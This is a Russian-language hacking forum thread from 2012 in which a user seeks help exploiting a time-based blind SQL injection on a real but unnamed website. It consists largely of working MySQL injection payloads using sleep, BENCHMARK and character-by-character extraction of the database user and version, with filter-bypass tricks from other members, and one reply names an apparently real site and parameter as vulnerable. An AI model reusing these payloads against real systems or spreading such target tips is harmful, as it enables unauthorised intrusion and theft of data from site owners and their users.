Нераскручиваемый тайм бейсед блинд SQL инжекшн

Discussion in 'Песочница' started by jkchief, 2 Sep 2012.

  1. jkchief

    jkchief New Member

    Joined:
    6 Nov 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Всем привет, нашел скулю, но очень она странная.
    Ссылку прямую дать не могу

    Но может кто подскажет варианты, я хочу ее раскрутить:
    Итак детали : Есть некий сайт, скажем
    http://site.com
    Где по следующей ссылке акунетикс нашел скулю блинд скл инжекшн.
    http://site.com/misc/print_version.php
    Уязвимость касается POST параметра
    page was set to /rus/search.php'=sleep(2)='

    Полные пост данные:
    name=blah&page=/rus/search.php'=sleep(2)='
    SQLMAP ее не находит.


    Реакция сервера:
    1) sleep(2) - засыпает на 20 секунд. Чтобы заснул на 1 секунду, приходится ставить sleep(0.1) - почему так непонятно
    2) пробовал следующие варианты:

    Не засыпаетИли не засыпает на добавочный слип)
    page=blah'=sleep(0.2)='
    page='=sleep(0.2)='
    page=/rus/search.php'=sleep(0.1)= '
    page=/rus/search.php'=sleep(0.1)='" AND (BENCHMARK(100000,SHA1(CURRENT_USER)))
    page=/rus/search.php'=sleep(0.1)='" UNION SELECT (BENCHMARK(100000,SHA1(CURRENT_USER))) --
    page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) =1"
    page=/rus/search.php'= (BENCHMARK(100000,SHA1(CURRENT_USER)))='
    page=/rus/search.php='=SLEEP(0.1)+(BENCHMARK(100000,SHA1(CUR RENT_USER)))='
    page=/rus/search.php'=sleep(0.1)=' AND WHERE (BENCHMARK(100000,SHA1(CURRENT_USER)))=1
    page=/rus/search.php'=(IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),1,1)),0)<52),BENCHMARK(900000,SHA1(1)), 1))='
    page=/rus/search.php'=sleep(0.1)='
    page=/rus/search.php'=A=sleep(0.1)='
    page=/rus/search.php'=sleep(sleep(0.1))='


    Засыпает, результат ожидаемый

    page=/rus/search.php='=(BENCHMARK(100000,SHA1(CURRENT_USER)) )='
    page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) ='
    page=/rus/search.php'=sleep(0.1)='"
    page=/rus/search.php'='1'=sleep(0.1)='
    page=/rus/search.php'=sleep(0.1)='A'='
    page=/rus/search.php'=sleep(0.1)=sleep(0.1)='
    page=/rus/search.php'=sleep(sleep(0.1))='

    page=/rus/search.php'=(IF(SUBSTRING(USER(),1,4)='root',1,sleep(0.1)))='
    (тут нет пробела в sleep, это почемуто античатовский редактор сам его вставляет)

    Последний вариант конечно позволяет втавить проверку if, но вот вставить полноценный запрос типа select blah from balh не получается, так как если втавить пробел в любое место то слип не происходит.

    Вобщем поделитесь идеями хотябы, если не сложно как обойти
     
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    jkchief а вы уверены, что это слепая инъекция? Скорее похоже, что вы не понимаете что творится с запросом и там возможно получить вывод. Ну и фильтруются пробелы.

    Попробуйте замены пробелов вначале, а именно запросы вида:

    Code:
    page=/rus/search.php'/**/and/**/1=1/**/''='
    page=/rus/search.php'/**/and/**/0=1/**/''='
    page=/rus/search.php'%0aand%0a1=1%0a''='
    page=/rus/search.php'%0aand%0a0=1%0a''='
    
    И вопрос стоило писать сюда - https://forum.antichat.ru/thread46016.html
     
    _________________________
    #2 Gifts, 3 Sep 2012
    Last edited: 3 Sep 2012
  3. jkchief

    jkchief New Member

    Joined:
    6 Nov 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    https://forum.antichat.ru/thread46016.html - сюда сначала и написал. Не знаю почему, но потом не нашел своего поста.

    Может из-за того, что пост большой.

    По уязвимости:
    Сервер точно не выдает никаких ошибок. Вывод ошибок SQL сервера заблокирован.

    page=/rus/search.php'/**/and/**/1=1/**/''='
    page=/rus/search.php'/**/and/**/0=1/**/''='
    page=/rus/search.php'%0aand%0a1=1%0a''='
    page=/rus/search.php'%0aand%0a0=1%0a''='

    Разве что нашел связанную с этим XSS, - на странице выводится в форме поиска скрытое поле, где вставлен value - текст запроса. Никаких признаков жизни от MySQL сервера.

    Все варинанты не дейсвуют. Я уже прогонял уязвимость и SQLMAP и хавиджем, добавлял суффиксы и префиксы какие смог придумать. Ничего не находят. Акунетикс ее хоть и нашел, но вот его модуль Blind SQL injector не находит.

    Однозначно это только слепая инжекшн.
    И я однозначно не понимаю что творится с запросом и как он выглядит хотя-бы приблизительно.
     
  4. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    jkchief откройте еще для себя параметр tamper в sqlmap. Проблема в пробелах а не суффиксах. И я имел ввиду нормальный вывод, а не вывод в ошибке.
     
    _________________________
  5. jkchief

    jkchief New Member

    Joined:
    6 Nov 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Нормального вывода нет совсем. Это точно.
    Остается засыпание.
    За наводку на тампер спасибо, если до конца смогу раскрутить скулю, тогда попробую, а пока еще не могу полноценный запрос получить.

    Немного доработал скулю и получил следующее:

    name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(USER(),4,1))='116',1,sleep(0.1)))='

    Таким образом узнал пользователя, версию бд, название бд.

    Но дальше пойти не могу.....нужно же вместо USER() вставлять полноценный запрос селект:
    Вот что пробовал:
    Нашел в инете примеры обхода пробелов, типа:
    select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables)
    select(null),table_name,(null)from(information_schema.tables)limit 28
    select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273)

    (вставленно заранее ложный кондишен и если запрос составлен правильно, то должен засыпать на секунду.)

    Не засыпает:


    name=blah&page=/rus/search.php'=(IF(ASCII(SELECT SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null)SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null),SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(0),SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(select(0),group_concat(table_name),(0)from(information_schema.tables),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCt(0),gRoup_ConCat(table_name),(0)fRom(information_schema.tables),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SELECT/*foo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
    Вроде как фильруется селект



    Засыпает:
    name=blah&page=/rus/search.php'=(IF(ASCII(/*Sfoo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
    name=blah&page=/rus/search.php'=(IF(ASCII(SUBS/*Sfoo*/TRING(USER(),4,1))='WTF',1,sleep(0.1)))='
     
    #5 jkchief, 6 Sep 2012
    Last edited: 6 Sep 2012
  6. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    Помимо такого обхода пробела можно еще попытаться использовать
    Code:
    %0a
    , иногда срабатывает.
    Также, проверить на фильтрацию чего либо (в данном случае - конструкции select или union select) можно, внедрив в заблаговременно успешный запрос конструкции вида
    Code:
    /*select*/
    или
    Code:
    /*union select*/
    соответственно.

    И еще, можно попытаться подобрать другие параметры, влияющие на вывод. Например, поискав сайты со схожими конструкциями ссылок... Как вариант -
    Code:
    http://rollholl.ru/misc/print_version.php
    POST
    Code:
    page=/rus/search.php?mode=&change=&cat=10&brand=0
    Где параметр "cat" является уязвимым)
     
    3 people like this.